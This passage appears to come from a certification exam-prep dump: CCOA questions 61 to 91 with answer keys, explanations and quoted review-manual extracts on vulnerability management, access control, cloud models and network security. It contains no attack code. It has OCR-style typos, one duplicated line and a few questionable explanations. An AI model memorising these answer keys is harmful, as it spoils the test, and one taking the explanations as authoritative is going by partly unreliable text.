Explanation:

The primary function of Open Source Intelligence (OSINT) is to collect and analyze information from publicly available sources. This data can include:

Social Media Profiles: Gaining insights into employees or organizational activities.

Public Websites: Extracting data from corporate pages, forums, or blogs.

Government and Legal Databases: Collecting information from public records and legal filings.

Search Engine Results: Finding indexed data, reports, or leaked documents.

Technical Footprinting: Gathering information from publicly exposed systems or DNS records.

OSINT is crucial in both defensive and offensive security strategies, providing insights into potential attack vectors or organizational vulnerabilities.

Incorrect Options:

A . Encoding stolen data prior to exfiltration: This relates to data exfiltration techniques, not OSINT.

E. . Initiating active probes for open ports: This is part of network scanning, not passive intelligence gathering.

C . Delivering remote access malware via social engineering: This is an attack vector rather than intelligence gathering.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 2, Section "Threat Intelligence and OSINT", Subsection "Roles and Applications of OSINT" - OSINT involves leveraging publicly available sources to gather information on potential targets, be it individuals or organizations.

Question: 61

Which of the following is the MOST common output of a vulnerability assessment?

A. A list of identified vulnerabilities along with a severity level for each

B. A detailed report on the overall vulnerability posture, including physical security measures

C. A list of potential attackers along with their IP addresses and geolocation data

D. A list of authorized users and their access levels for each system and application

Answer: A

Explanation:

The most common output of a vulnerability assessment is a detailed list of identified vulnerabilities, each accompanied by a severity level (e.g., low, medium, high, critical). This output helps organizations prioritize remediation efforts based on risk levels.

Purpose: Vulnerability assessments are designed to detect security weaknesses and misconfigurations.

Content: The report typically includes vulnerability descriptions, affected assets, severity ratings (often based on CVSS scores), and recommendations for mitigation.

Usage: Helps security teams focus on the most critical issues first.

Incorrect Options:

B . A detailed report on overall vulnerability posture: While summaries may be part of the report, the primary output is the list of vulnerabilities.

C . A list of potential attackers: This is more related to threat intelligence, not vulnerability assessment.

D . A list of authorized users: This would be part of an access control audit, not a vulnerability assessment.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Vulnerability Management," Subsection "Vulnerability Assessment Process" - The primary output of a vulnerability assessment is a list of discovered vulnerabilities with associated severity levels.

Question: 62

Which of the following tactics is associated with application programming interface (API) requests that may result in bypassing access control checks?

A. Insecure direct object reference

B. Input injection

C. Forced browsing

D. Broken access control

Answer: D

Explanation:

API requests that bypass access control checks typically fall under the category of Broken Access Control. This vulnerability occurs when the API fails to enforce restrictions on authenticated users, allowing them to access data or functionality they are not authorized to use.

Example: An API endpoint that does not properly verify user roles might allow a standard user to perform admin actions.

Related Issues: Insecure direct object references (IDOR), where APIs expose objects without sufficient authorization checks, often lead to broken access control.

Impact: Attackers can exploit this to gain unauthorized access, modify data, or escalate privileges.

Incorrect Options:

A . Insecure direct object reference: This is a type of broken access control, but the broader category is more appropriate.

B . Input injection: Typically related to injection or command injection, not directly related to bypassing access controls.

C . Forced browsing: Involves accessing unlinked or unauthorized resources via predictable URLs but is not specific to API vulnerabilities.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 7, Section "API Security," Subsection "Common API Vulnerabilities" - Broken access control remains a primary issue when API endpoints fail to enforce proper access restrictions.

Question: 63

Management has requested an additional layer of remote access control to protect a critical database that is hosted online. Which of the following would 8EST provide this protection?

A. Incremental backups conducted continuously

B. A proxy server with a virtual private network (VPN)

C. Implementation of group rights

D. Encryption of data at rest

Answer: B

Explanation:

To add an extra layer of remote access control to a critical online database, using a proxy server combined with a VPN is the most effective method.

Proxy Server: Acts as an intermediary, filtering and logging traffic.

VPN: Ensures secure, encrypted connections from remote users.

Layered Security: Integrating both mechanisms protects the database by restricting direct public access and encrypting data in transit.

Benefit: Even if credentials are compromised, attackers would still need VPN access.

Incorrect Options:

A . Incremental backups: This relates to data recovery, not access control.

C . Implementation of group rights: This is part of internal access control but does not add a remote protection layer.

D . Encryption of data at rest: Protects stored data but does not enhance remote access security.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Remote Access Security," Subsection "Securing Remote Access with VPNs and Proxies" - VPNs combined with proxies are recommended for robust remote access control.

Question: 64

Which of the following BEST enables an organization to identify potential security threats by monitoring and analyzing network traffic for unusual activity?

A. Web application firewall (WAP)

B. Endpoint security

C. Security operation center (SOC)

D. Data loss prevention (DLP)

Answer: C

Explanation:

A Security Operation Center (SOC) is tasked with monitoring and analyzing network traffic to detect anomalies and potential security threats.

Role: SOCs collect and analyze data from firewalls, intrusion detection systems (IDS), and other network monitoring tools.

Function: Analysts in the SOC identify unusual activity patterns that may indicate intrusions or malware.

Proactive Threat Detection: Uses log analysis and behavioral analytics to catch threats early.

Incorrect Options:

A . Web application firewall (WAF): Protects against web-based attacks but does not analyze network traffic in general.

B . Endpoint security: Focuses on individual devices, not network-wide monitoring.

D . Data loss prevention (DLP): Monitors data exfiltration rather than overall network activity.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 8, Section "Security Monitoring and Threat Detection," Subsection "Role of the SOC" - SOCs are integral to identifying potential security threats through network traffic analysis.

Question: 65

Which of the following is the PRIMARY benefit of a cybersecurity risk management program?

A. Identification of data protection processes

B. Reduction of compliance requirements

C. Alignment with Industry standards

D. implementation of effective controls

Answer: D

Explanation:

The primary benefit of a cybersecurity risk management program is the implementation of effective controls to reduce the risk of cyber threats and vulnerabilities.

Risk Identification and Assessment: The program identifies risks to the organization, including threats and vulnerabilities.

Control Implementation: Based on the identified risks, appropriate security controls are put in place to mitigate them.

Ongoing Monitoring: Ensures that implemented controls remain effective and adapt to evolving threats.

Strategic Alignment: Helps align cybersecurity practices with organizational objectives and risk tolerance.

Incorrect Options:

A . Identification of data protection processes: While important, it is a secondary outcome.

B . Reduction of compliance requirements: A risk management program does not inherently reduce compliance needs.

C . Alignment with Industry standards: This is a potential benefit but not the primary one.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 1, Section "Risk Management and Security Programs" - Effective risk management leads to the development and implementation of robust controls tailored to identified risks.

Question: 66

Which of the following is the MOST effective method for identifying vulnerabilities in a remote web application?

A. Source code review

B. Dynamic application security testing (DA5T)

C. Penetration testing

D. Static application security testing (SAST)

Answer: C

Explanation:

The most effective method for identifying vulnerabilities in a remote web application is penetration testing.

Realistic Simulation: Penetration testing simulates real-world attack scenarios to find vulnerabilities.

Dynamic Testing: Actively exploits potential weaknesses rather than just identifying them statically.

Comprehensive Coverage: Tests the application from an external attacker's perspective, including authentication bypass, input validation flaws, and configuration issues.

Manual Validation: Can verify exploitability, unlike automated tools.

Incorrect Options:

A . Source code review: Effective but only finds issues in the code, not in the live environment.

B . Dynamic application security testing (DAST): Useful but more automated and less thorough than penetration testing.

D . Static application security testing (SAST): Focuses on source code analysis, not the deployed application.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Application Security Testing Methods" - Penetration testing is crucial for identifying vulnerabilities in remote applications through real-world attack simulation.

Question: 67

Multi-factor authentication (MFA) BEST protects against which of the following attack vectors?

A. Compromised credentials

B. Social engineering

C. Malware

D. Ransomware

Answer: A

Explanation:

Multi-factor authentication (MFA) significantly mitigates risks associated with compromised credentials by requiring multiple verification factors, such as:

Something you know (password)

Something you have (authenticator app or token)

Something you are (biometric data)

Even if attackers obtain the password, they would still need additional factors, making unauthorized access far more challenging.

Incorrect Options:

B . Social engineering: MFA does not directly protect against sophisticated social engineering attacks where users are tricked into giving away all factors.

C . Malware: MFA does not prevent malware infections on the device.

D . Ransomware: Ransomware attacks typically bypass authentication mechanisms.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Identity and Access Management," Subsection "Multi-Factor Authentication" - MFA specifically addresses the risk of compromised credentials.

Question: 68

Compliance requirements are imposed on organizations to help ensure:

A. system vulnerabilities are mitigated in a timely manner.

B. security teams understand which capabilities are most important for protecting organization.

C. rapidly changing threats to systems are addressed.

D. minimum capabilities for protecting public interests are in place.

Answer: D

Explanation:

Compliance requirements are imposed on organizations to ensure that they meet minimum standards for protecting public interests.

Regulatory Mandates: Many compliance frameworks (like GDPR or HIPAA) mandate minimum data protection and privacy measures.

Public Safety and Trust: Ensuring that organizations follow industry standards to maintain data integrity and confidentiality.

Baseline Security Posture: Establishes a minimum set of controls to protect sensitive information and critical systems.

Incorrect Options:

A . System vulnerabilities are mitigated: Compliance does not directly ensure vulnerability management.

B . Security teams understand critical capabilities: This is a secondary benefit but not the primary purpose.

C . Rapidly changing threats are addressed: Compliance often lags behind new threats; it's more about maintaining baseline security.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 9, Section "Compliance and Legal Considerations," Subsection "Purpose of Compliance" - Compliance frameworks aim to ensure that organizations implement minimum protective measures for public safety and data protection.

Question: 69

Which of the following is the PRIMARY benefit of implementing logical access controls on a need-to- know basis?

A. Limiting access to sensitive data and resources

B. Ensuring users can access all resources on the network

C. Providing a consistent user experience across different applications

D. Reducing the complexity of access control policies and procedures

Answer: A

Explanation:

The primary benefit of implementing logical access controls on a need-to-know basis is to limit access to sensitive data and resources. This principle ensures that users and processes have access only to the information necessary for their roles.

Principle of Least Privilege: Minimizes the risk of data exposure by restricting access based on job responsibilities.

Data Protection: Reduces the chance of internal data breaches by limiting who can view or modify sensitive information.

Enhanced Security: Mitigates the risk of privilege misuse or insider threats.

Incorrect Options:

B . Ensuring users can access all resources: This contradicts the need-to-know principle.

C . Providing a consistent user experience: This is unrelated to access control.

D . Reducing the complexity of access control policies: While it can simplify management, the primary goal is data protection.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Access Control Models," Subsection "Need-to-Know Principle" - Implementing need-to-know access reduces exposure of sensitive data by restricting access only to necessary users.

Question: 70

How can port security protect systems on a segmented network?

A. By enforcing encryption of data on the network

B. By preventing unauthorized access to the network

C. By establishing a Transport Layer Security (TLS) handshake

D. By requiring multi-factor authentication

Answer: B

Explanation:

Port security is a network control technique used primarily to prevent unauthorized access to a network by:

MAC Address Filtering: Restricts which devices can connect by allowing only known MAC addresses.

Port Lockdown: Disables a port if an untrusted device attempts to connect.

Mitigating MAC Flooding: Helps prevent attackers from overwhelming the switch with spoofed MAC addresses.

Incorrect Options:

A . Enforcing encryption: Port security does not directly handle encryption.

C . Establishing TLS handshake: TLS is related to secure communications, not port-level access control.

D . Requiring multi-factor authentication: Port security works at the network level, not the authentication level.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Network Security," Subsection "Port Security" - Port security helps protect network segments by controlling device connections based on MAC address.

Question: 71

Which of the following is a type of middleware used to manage distributed transactions?

A. Message-oriented middleware

B. Transaction processing monitor

C. Remote procedure call

D. Object request broker

Answer: B

Explanation:

A Transaction Processing Monitor (TPM) is a type of middleware that manages and coordinates distributed transactions across multiple systems.

Core Functionality: Ensures data consistency and integrity during complex transactions that span various databases or applications.

Transactional Integrity: Provides rollback and commit capabilities in case of errors or failures.

Common Use Cases: Banking systems, online booking platforms, and financial applications.

Incorrect Options:

A . Message-oriented middleware: Primarily used for asynchronous message processing, not transaction management.

C . Remote procedure call (RPC): Facilitates communication between systems but does not manage transactions.

D . Object request broker: Manages object communication but lacks transaction processing capabilities.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 7, Section "Middleware Components," Subsection "Transaction Processing Middleware" - TPMs handle distributed transactions to ensure consistency across various systems.

Question: 72

A nation-state that is employed to cause financial damage on an organization is BEST categorized as:

A. a vulnerability.

B. a risk.

C. an attach vector.

D. a threat actor.

Answer: D

Explanation:

A nation-state employed to cause financial damage to an organization is considered a threat actor.

Definition: Threat actors are individuals or groups that aim to harm an organization's security, typically through

cyberattacks or data breaches.

Characteristics: Nation-state actors are often highly skilled, well-funded, and operate with strategic geopolitical objectives.

Typical Activities: Espionage, disruption of critical infrastructure, financial damage through cyberattacks (like ransomware or supply chain compromise).

Incorrect Options:

A . A vulnerability: Vulnerabilities are weaknesses that can be exploited, not the actor itself.

B . A risk: A risk represents the potential for loss or damage, but it is not the entity causing harm.

C . An attack vector: This represents the method or pathway used to exploit a vulnerability, not the actor.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 2, Section "Threat Landscape," Subsection "Types of Threat Actors" - Nation-states are considered advanced threat actors that may target financial systems for political or economic disruption.

Question: 73

Which of the following is MOST likely to result from misunderstanding the cloud service shared responsibility model?

A. Falsely assuming that certain risks have been transferred to the vendor

B. Improperly securing access to the cloud metastructure layer

C. Misconfiguration of access controls for cloud services

D. Being forced to remain with the cloud service provider due to vendor lock-In

Answer: A

Explanation:

Misunderstanding the cloud service shared responsibility model often leads to the false assumption that the cloud service provider (CSP) is responsible for securing all aspects of the cloud environment.

What is the Shared Responsibility Model? It delineates the security responsibilities of the CSP and the customer.

Typical Misconception: Customers may believe that the provider handles all security aspects, including data protection and application security, while in reality, the customer is usually responsible for securing data and application configurations.

Impact: This misunderstanding can result in unpatched software, unsecured data, or weak access control.

Incorrect Options:

B . Improperly securing access to the cloud metastructure layer: This is a specific security flaw but not directly caused by misunderstanding the shared responsibility model.

C . Misconfiguration of access controls for cloud services: While common, this usually results from poor implementation rather than misunderstanding shared responsibility.

D . Vendor lock-in: This issue arises from contractual or technical dependencies, not from misunderstanding the shared responsibility model.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 3, Section "Cloud Security Models," Subsection "Shared Responsibility Model" - Misunderstanding the shared responsibility model often leads to misplaced assumptions about who handles specific security tasks.

Question: 74

Which of the following is the PRIMARY benefit of using software-defined networking for network security?

A. It simplifies network topology and reduces complexity.

B. It provides greater scalability and flexibility for network devices.

C. It allows for centralized security management and control.

D. It Improves security monitoring and alerting capabilities.

Answer: C

Explanation:

Software-Defined Networking (SDN) centralizes network control by decoupling the control plane from the data

plane, enabling:

Centralized Management: Administrators can control the entire network from a single point.

Dynamic Policy Enforcement: Security policies can be applied uniformly across the network.

Real-Time Adjustments: Quickly adapt to emerging threats by reconfiguring policies from the central controller.

Enhanced Visibility: Consolidated monitoring through centralized control improves security posture.

Incorrect Options:

A . Simplifies network topology: This is a secondary benefit, not the primary security advantage.

B . Greater scalability and flexibility: While true, it is not directly related to security.

D . Improves monitoring and alerting: SDN primarily focuses on control, not monitoring.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Software-Defined Networks," Subsection "Security Benefits" - SDN's centralized control model significantly enhances network security management.

Question: 75

Which of the following is a technique for detecting anomalous network behavior that evolves using large data sets and algorithms?

A. Machine learning-based analysis

B. Statistical analysis

C. Rule-based analysis

D. Signature-based analysis

Answer: A

Explanation:

Machine learning-based analysis is a technique that detects anomalous network behavior by:

Learning Patterns: Uses algorithms to understand normal network traffic patterns.

Anomaly Detection: Identifies deviations from established baselines, which may indicate potential threats.

Adaptability: Continuously evolves as new data is introduced, making it more effective at detecting novel attack methods.

Applications: Network intrusion detection systems (NIDS) and behavioral analytics platforms.

Incorrect Options:

B . Statistical analysis: While useful, it does not evolve or adapt as machine learning does.

C . Rule-based analysis: Uses predefined rules, not dynamic learning.

D . Signature-based analysis: Detects known patterns rather than learning new ones.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 8, Section "Advanced Threat Detection," Subsection "Machine Learning for Anomaly Detection" - Machine learning methods are effective for identifying evolving network anomalies.

Question: 76

SOAP and REST are Iwo different approaches related to:

A. machine learning (ML) design.

B. cloud-based anomaly detection.

C. SG/6G networks.

D. application programming Interface (API) design.

Answer: D

Explanation:

SOAP (Simple Object Access Protocol) and REST (Representational State Transfer) are two common approaches used in API design:

SOAP: A protocol-based approach with strict rules, typically using XML.

REST: A more flexible, resource-based approach that often uses JSON.

Usage: Both methods facilitate communication between applications, especially in web services.

Key Difference: SOAP is more structured and secure for enterprise environments, while REST is lightweight and widely used in modern web applications.

Incorrect Options:

A . Machine learning (ML) design: These protocols do not pertain to ML.

B . Cloud-based anomaly detection: Not related to cloud anomaly detection.

C . 5G/6G networks: APIs are application communication methods, not network technologies.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 7, Section "API Security," Subsection "SOAP vs. REST" - SOAP and REST are widely adopted API design methodologies with distinct characteristics.

Question: 77

Which of (he following is the PRIMARY reason to regularly review firewall rules?

A. To identify and remove rules that are no longer needed

B. To identify and allow blocked traffic that should be permitted

C. To ensure the rules remain in the correct order

D. To correct mistakes made by other firewall administrators

Answer: A

Explanation:

Regularly reviewing firewall rules ensures that outdated, redundant, or overly permissive rules are identified and removed.

Reduced Attack Surface: Unnecessary or outdated rules may open attack vectors.

Compliance and Policy Adherence: Ensures that only authorized communication paths are maintained.

Performance Optimization: Reducing rule clutter improves processing efficiency.

Minimizing Misconfigurations: Prevents rule conflicts or overlaps that could compromise security.

Incorrect Options:

B . Identifying blocked traffic to permit: The review's primary goal is not to enable traffic but to reduce unnecessary rules.

C . Ensuring correct rule order: While important, this is secondary to identifying obsolete rules.

D . Correcting administrator mistakes: Though helpful, this is not the main purpose of regular reviews.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Firewall Management," Subsection "Rule Review Process" - The primary reason for reviewing firewall rules regularly is to eliminate rules that are no longer necessary.

Question: 78

Which of the following is MOST likely to outline and communicate the organization's vulnerability management program?

A. Vulnerability assessment report

B. Guideline

C. Policy

D. Control framework

Answer: C

Explanation:

A policy is the most likely document to outline and communicate an organization's vulnerability management program.

Purpose: Policies establish high-level principles and guidelines for managing vulnerabilities.

Scope: Typically includes roles, responsibilities, frequency of assessments, and remediation processes.

Communication: Policies are formal documents that are communicated across the organization to ensure consistent adherence.

Governance: Ensures that vulnerability management practices align with organizational risk management objectives.

Incorrect Options:

A . Vulnerability assessment report: Details specific findings, not the overarching management program.

B . Guideline: Provides suggestions rather than mandates; less formal than a policy.

D . Control framework: A broader structure that includes policies but does not specifically outline the vulnerability management program.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Vulnerability Management Program," Subsection "Policy Development" - A comprehensive policy defines the entire vulnerability management approach.

Question: 79

Which types of network devices are MOST vulnerable due to age and complexity?

A. Ethernet

B. Mainframe technology

C. Operational technology

D. Wireless

Answer: C

Explanation:

Operational Technology (OT) systems are particularly vulnerable due to their age, complexity, and long upgrade cycles.

Legacy Systems: Often outdated, running on old hardware and software with limited update capabilities.

Complexity: Integrates various control systems like SCADA, PLCs, and DCS, making consistent security challenging.

Lack of Patching: Industrial environments often avoid updates due to fear of system disruptions.

Protocols: Many OT devices use insecure communication protocols that lack modern encryption.

Incorrect Options:

A . Ethernet: A network protocol, not a system prone to aging or complexity issues.

B . Mainframe technology: While old, these systems are typically better maintained and secured.

D . Wireless: While vulnerable, it’s not primarily due to age or inherent complexity.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 7, Section "Securing Legacy Systems," Subsection "Challenges in OT Security" - OT environments often face security challenges due to outdated and complex infrastructure.

Question: 80

An attacker has compromised a number of systems on an organization's network and is exfiltration data Using the Domain Name System (DNS) queries. Which of the following is the BEST mitigation strategy to prevent data exfiltration using this technique?

mitigation strategy to prevent data exfiltration using this technique?

A. Implement Secure Sockets Layer (SSL) encryption on the DNS server.

B. Install a host-based Intrusion detection system (HIDS) on all systems in the network.

C. Block all outbound DNS traffic from the network.

D. Implement a DNS sinkhole to redirect alt DNS traffic to a dedicated server.

Answer: D

Explanation:

A DNS sinkhole is a network security mechanism that intercepts DNS queries and redirects them to a controlled server.

Functionality: Instead of allowing the exfiltration traffic to reach its intended destination, the sinkhole captures and analyzes the data.

Detection and Prevention: Identifies and mitigates DNS-based data exfiltration attempts.

Monitoring: Enables security teams to detect compromised systems attempting to exfiltrate data.

Incorrect Options:

A . Implement SSL encryption on DNS server: Does not address data exfiltration through DNS queries.

B . Host-based IDS (HIDS): Detects anomalies but cannot block DNS-based exfiltration.

C . Block all outbound DNS traffic: Impractical as DNS is essential for network communication.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 8, Section "DNS Exfiltration Techniques," Subsection "Mitigation Strategies" - DNS sinkholes are effective for capturing and analyzing malicious DNS queries.

Question: 81

Most of the operational responsibility remains with the customer in which of the following cloud service models?

A. Data Platform as a Service (DPaaS)

B. Software as a Service (SaaS)

C. Platform as a Service (PaaS)

D. Infrastructure as a Service (IaaS)

Answer: D

Explanation:

In the IaaS (Infrastructure as a Service) model, the majority of operational responsibilities remain with the customer.

Customer Responsibilities: OS management, application updates, security configuration, data protection, and network controls.

Provider Responsibilities: Hardware maintenance, virtualization, and network infrastructure.

Flexibility: Customers have significant control over the operating environment, making them responsible for most security measures.

Incorrect Options:

A . Data Platform as a Service (DPaaS): Managed data services where the provider handles database infrastructure.

B . Software as a Service (SaaS): Provider manages almost all operational aspects.

C . Platform as a Service (PaaS): Provider manages the platform; customers focus on application management.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 3, Section "Cloud Service Models," Subsection "IaaS Responsibilities" - IaaS requires customers to manage most operational aspects, unlike PaaS or SaaS.

Question: 82

Which of the following services would pose the GREATEST risk when used to permit access to and from the Internet?

A. Server Message Block (5MB) on TCP 445

B. File Transfer Protocol(FTP) on TCP 21

C. Domain Name Service (DNS) on UOP 53

D. Remote Desktop Protocol (RDP) on TCP 3389

Answer: D

Explanation:

Remote Desktop Protocol (RDP) poses the greatest risk when exposed to the internet because: Common Attack Vector:

Frequently targeted in brute-force attacks and ransomware campaigns.

Privilege Escalation: If compromised, attackers can gain full control of the target system.

Vulnerability History: RDP services have been exploited in numerous attacks (e.g., BlueKeep).

Exploitation Risk: Directly exposing RDP to the internet without proper safeguards (like VPNs or MFA) is extremely risky.

Incorrect Options:

A . SMB on TCP 445: Risky, but usually confined to internal networks.

B . FTP on TCP 21: Unencrypted but less risky compared to RDP for remote control.

C . DNS on UDP 53: Used for name resolution; rarely exploited for direct system access.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Remote Access Security," Subsection "RDP Risks" - Exposing RDP to the internet presents a critical security risk due to its susceptibility to brute-force and exploitation attacks.

Question: 83

Which of the following is a security feature provided by the WS-Security extension in the Simple Object Access Protocol (SOAP)?

A. Transport Layer Security (TLS)

B. Message confidentiality

C. Malware protection

D. Session management

Answer: B

Explanation:

The WS-Security extension in Simple Object Access Protocol (SOAP) provides security features at the message level rather than the transport level. One of its primary features is message confidentiality.

Message Confidentiality: Achieved by encrypting SOAP messages using XML Encryption. This ensures that even if a message is intercepted, its content remains unreadable.

Additional Features: Also provides message integrity (using digital signatures) and authentication.

Use Case: Suitable for scenarios where messages pass through multiple intermediaries, as security is preserved across hops.

Incorrect Options:

A . Transport Layer Security (TLS): Secures the transport layer, not the SOAP message itself.

C . Malware protection: Not related to WS-Security.

D . Session management: SOAP itself is stateless and does not handle session management.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 7, Section "Web Services Security," Subsection "WS-Security in SOAP" - WS-Security provides message-

level security, including confidentiality and integrity.

Question: 84

Which of the following is the MOST important component of the asset decommissioning process from a data risk perspective?

A. Informing the data owner when decommissioning is complete

B. Destruction of data on the assets

C. Updating the asset status in the configuration management database (CMD8)

D. Removing the monitoring of the assets

Answer: B

Explanation:

The most important component of asset decommissioning from a data risk perspective is the secure destruction of data on the asset.

Data Sanitization: Ensures that all sensitive information is irretrievably erased before disposal or repurposing.

Techniques: Physical destruction, secure wiping, or degaussing depending on the storage medium.

Risk Mitigation: Prevents data leakage if the asset falls into unauthorized hands.

Incorrect Options:

A . Informing the data owner: Important but secondary to data destruction.

C . Updating the CMDB: Administrative task, not directly related to data risk.

D . Removing monitoring: Important for system management but not the primary risk factor.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 9, Section "Asset Decommissioning," Subsection "Data Sanitization Best Practices" - Data destruction is the most critical step to mitigate risks.

Question: 85

Which of the following controls would BEST prevent an attacker from accessing sensitive data from files or disk images that have been obtained either physically or via the network?

A. Next generation antivirus

B. Data loss prevention (DLP)

C. Endpoint detection and response (EOR)

D. Encryption of data at rest

Answer: D

Explanation:

Encryption of data at rest is the best control to protect sensitive data from unauthorized access, even if physical or network access to the disk or file is obtained.

Protection: Data remains unreadable without the proper encryption keys.

Scenarios: Protects data from theft due to lost devices or compromised servers.

Compliance: Often mandated by regulations (e.g., GDPR, HIPAA).

Incorrect Options:

A . Next-generation antivirus: Detects malware, not data protection.

B . Data loss prevention (DLP): Prevents data exfiltration but does not protect data at rest.

C . Endpoint detection and response (EDR): Monitors suspicious activity but does not secure stored data.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Data Security Strategies," Subsection "Encryption Techniques" -

Encryption of data at rest is essential for protecting sensitive information.

Question: 86

Which of the following is the MOST important reason to limit the number of users with local admin privileges on

endpoints?

A. Local admin users might Install unapproved software.

B. Local admin accounts have elevated privileges that can be exploited by threat actors.

C. local admin accounts require more administrative work in order to manage them properly.

D. Local admin users might make unauthorized changes.

Answer: B

Explanation:

The primary reason to limit local admin privileges on endpoints is that local admin accounts have elevated privileges which, if compromised, can be exploited to:

Escalate Privileges: Attackers can move laterally or gain deeper access.

Install Malware: Direct access to system settings and software installation.

Modify Security Configurations: Disable antivirus or firewalls.

Persistence: Create backdoor accounts for future access.

Incorrect Options:

A . Installing unapproved software: A consequence, but not the most critical reason.

C . Increased administrative work: Not a security issue.

D . Making unauthorized changes: Similar to A, but less significant than privilege exploitation.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Privilege Management," Subsection "Risks of Excessive Privileges" - Limiting admin rights reduces attack surface and potential exploitation.

Question: 87

After identified weaknesses have been remediated, which of the following should be completed NEXT?

A. Perform a validation scan before moving to production.

B. Perform software code testing.

C. Perform a software quality assurance (QA) activity.

D. Move the fixed system directly to production.

Answer: A

Explanation:

After remediation of identified weaknesses, the next step is to perform a validation scan to ensure that the fixes were successful and no new vulnerabilities were introduced.

Purpose: Confirm that vulnerabilities have been properly addressed.

Verification: Uses automated tools or manual testing to recheck the patched systems.

Risk Management: Prevents reintroducing vulnerabilities into the production environment.

Incorrect Options:

B . Software code testing: Typically performed during development, not after remediation.

C . Software quality assurance (QA) activity: Focuses on functionality, not security validation.

D . Moving directly to production: Risks deploying unvalidated fixes.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Post-Remediation Activities," Subsection "Validation Scans" - Validating fixes ensures security before moving to production.

Question: 88

An organization continuously monitors enforcement of the least privilege principle and requires users and devices to re-authenticate at multiple levels of a system. Which type of security model has been adopted?

A. Security-in-depth model

B. Layered security model

C. Zero Trust model

D. Defense-in-depth model

Answer: C

Explanation:

The Zero Trust model enforces the principle of never trust, always verify by requiring continuous authentication and strict access controls, even within the network.

Continuous Authentication: Users and devices must consistently prove their identity.

Least Privilege: Access is granted only when necessary and only for the specific task.

Micro-Segmentation: Limits the potential impact of a compromise.

Monitoring and Validation: Continually checks user behavior and device integrity.

Incorrect Options:

A . Security-in-depth model: Not a formal model; more of a general approach.

B . Layered security model: Combines multiple security measures, but not as dynamic as Zero Trust.

D . Defense-in-depth model: Uses multiple security layers but lacks continuous authentication and verification.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Zero Trust Security," Subsection "Principles of Zero Trust" - The Zero Trust model continuously authenticates and limits access to minimize risks.

Question: 89

What is the GREATEST security concern associated with virtual (nation technology?

A. Inadequate resource allocation

B. Insufficient isolation between virtual machines (VMs)

C. Shared network access

D. Missing patch management for the technology

Answer: B

Explanation:

The greatest security concern associated with virtualization technology is the insufficient isolation between VMs.

VM Escape: An attacker can break out of a compromised VM to access the host or other VMs on the same hypervisor.

Shared Resources: Hypervisors manage multiple VMs on the same hardware, making it critical to maintain strong isolation.

Hypervisor Vulnerabilities: A flaw in the hypervisor can compromise all hosted VMs.

Side-Channel Attacks: Attackers can exploit shared CPU cache to leak information between VMs.

Incorrect Options:

A . Inadequate resource allocation: A performance issue, not a primary security risk.

C . Shared network access: Can be managed with proper network segmentation and VLANs.

D . Missing patch management: While important, it is not unique to virtualization.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Virtualization Security," Subsection "Risks and Threats" - Insufficient VM isolation is a critical concern in virtual environments.

Question: 90

Which of the following BEST offers data encryption, authentication, and integrity of data flowing between a server and the client?

A. Secure Sockets Layer (SSL)

B. Kerbcros

C. Transport Layer Security (TLS)

D. Simple Network Management Protocol (SNMP)

Answer: C

Explanation:

Transport Layer Security (TLS) provides:

Data Encryption: Ensures that the data transferred between the client and server is encrypted, preventing eavesdropping.

Authentication: Verifies the identity of the server (and optionally the client) through digital certificates.

Data Integrity: Detects any tampering with the transmitted data through cryptographic hash functions.

Successor to SSL: TLS has largely replaced SSL due to better security protocols.

Incorrect Options:

A . Secure Sockets Layer (SSL): Deprecated in favor of TLS.

B . Kerberos: Primarily an authentication protocol, not used for data encryption in transit.

D . Simple Network Management Protocol (SNMP): Used for network management, not secure data transmission.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Encryption Protocols," Subsection "TLS" - TLS is the recommended protocol for secure communication between clients and servers.

Question: 91

Which of the following is the PRIMARY security related reason to use a tree network topology rather than a bus network topology?

A. It enables easier network expansion and scalability.

B. It enables better network performance and bandwidth utilization.

C. It is more resilient and stable to network failures.

D. It Is less susceptible to data Interception and eavesdropping.

Answer: C

Explanation:

A tree network topology provides better resilience and stability compared to a bus topology:

Fault Isolation: In a tree topology, a failure in one branch does not necessarily bring down the entire network.

Hierarchy Structure: If a single link fails, only a segment of the network is affected, not the whole system.

Easier Troubleshooting: The hierarchical layout allows for easier identification and isolation of faulty nodes.

Compared to Bus Topology: In a bus topology, a single cable failure can disrupt the entire network.

Incorrect Options:

A . Easier network expansion: True, but not primarily a security advantage.

